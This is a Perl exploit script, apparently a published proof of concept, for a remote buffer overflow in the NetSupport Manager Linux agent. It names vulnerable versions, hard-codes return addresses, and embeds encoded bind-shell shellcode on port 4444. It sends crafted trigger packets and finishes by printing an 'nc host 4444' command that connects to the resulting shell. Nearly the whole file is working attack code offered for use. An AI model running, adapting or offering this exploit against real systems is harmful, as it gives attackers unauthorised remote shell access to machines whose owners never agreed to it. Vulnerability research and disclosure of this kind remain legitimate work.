#!/usr/bin/perl## NetSupport Manager Agent Remote Buffer Overflow# Product details: http://www.netsupportmanager.com/## This vulnerability affects the following software:## [Vulnerable] # NetSupport Manager for Linux v11.00 and likely all previous# NetSupport Manager for Solaris v9.50 and likely all previous# NetSupport Manager for Mac OS X v11.00 and likely all previous## [Not Vulnerable]# Netsupport Manager for Windows v11.00## [Unknown]# Netsupport Manager for Windows CE v11.00# Netsupport Manager for Pocket PC v11.00# NetSupport Manager for DOS v7.01# Other products based on the same codebase (e.g. NetSupport School)## This exploit has been tested against:# - NetSupport Manager Linux agent v10.50.0# - NetSupport Manager Linux agent v11.0.0## As far as I know, this is still unpatched. ## Credit: Luca Carettoni (@_ikki)
use strict;
use warnings;
use IO::Socket;
my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 5405;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp') or die "error: $!\n";
print "--[ NetSupport Manager Linux Agent Remote Buffer Overflow ]\n";
print "--[ \@_ikki 2010 ]\n\n";#my $ret_address = 0x0808bd4f; #jmp esp /usr/nsm/daemon/clientdaemon v10.50.0
my $ret_address = 0x0808c4bf;#jmp esp /usr/nsm/daemon/clientdaemon v11.0.0
my $pad = 976;
my $nop = "\x90" x 50;# linux/x86/shell_bind_tcp - 217 bytes# http://www.metasploit.com# Encoder: x86/alpha_mixed# AutoRunScript=, AppendExit=false, PrependChrootBreak=false, # PrependSetresuid=false, InitialAutoRunScript=, # PrependSetuid=false, LPORT=4444, RHOST=, # PrependSetreuid=false
my $shellcode =
"\x89\xe0\xdb\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49"."\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a"."\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41"."\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42"."\x75\x4a\x49\x46\x51\x49\x4b\x4c\x37\x4a\x43\x51\x43\x43"."\x73\x43\x63\x43\x5a\x44\x42\x4c\x49\x4b\x51\x48\x30\x51"."\x76\x4a\x6d\x4d\x50\x43\x6b\x51\x4e\x50\x52\x43\x58\x49"."\x6f\x47\x72\x47\x61\x51\x4c\x43\x5a\x42\x30\x42\x71\x46"."\x30\x4c\x49\x48\x61\x51\x7a\x45\x36\x46\x38\x48\x4d\x4d"."\x50\x4c\x49\x51\x51\x46\x64\x4d\x63\x46\x64\x4c\x70\x45"."\x36\x4a\x6d\x4b\x30\x51\x53\x4c\x70\x51\x76\x4a\x6d\x4b"."\x30\x4e\x73\x50\x59\x50\x6a\x47\x4f\x46\x38\x4a\x6d\x4b"."\x30\x47\x39\x43\x49\x49\x68\x50\x68\x46\x4f\x46\x4f\x42"."\x53\x45\x38\x51\x78\x46\x4f\x45\x32\x50\x69\x50\x6e\x4d"."\x59\x49\x73\x50\x50\x42\x73\x4b\x39\x49\x71\x4c\x70\x44"."\x4b\x48\x4d\x4d\x50\x41\x41";
my $triggerA = "\x15\x00\x5a\x00".("\x41" x 1024)."\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00"."\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\x00\x00\x00";
my $triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4"."\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52"."\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e".#pleasure trail("A"x$pad).pack("V",$ret_address).$nop.$shellcode."\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"."\x30\x00\x31\x30\x00\x00";
my $triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00"."\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07"."\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00"."\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00";
print "Sending triggers...\n";$sock->send($triggerA);sleep 1;$sock->send($triggerB);sleep 1;$sock->send($triggerC);sleep 1;$sock->send($triggerD);sleep 1;$sock->close;
print "A shell is waiting: \"nc ".$host." 4444\"\n\n";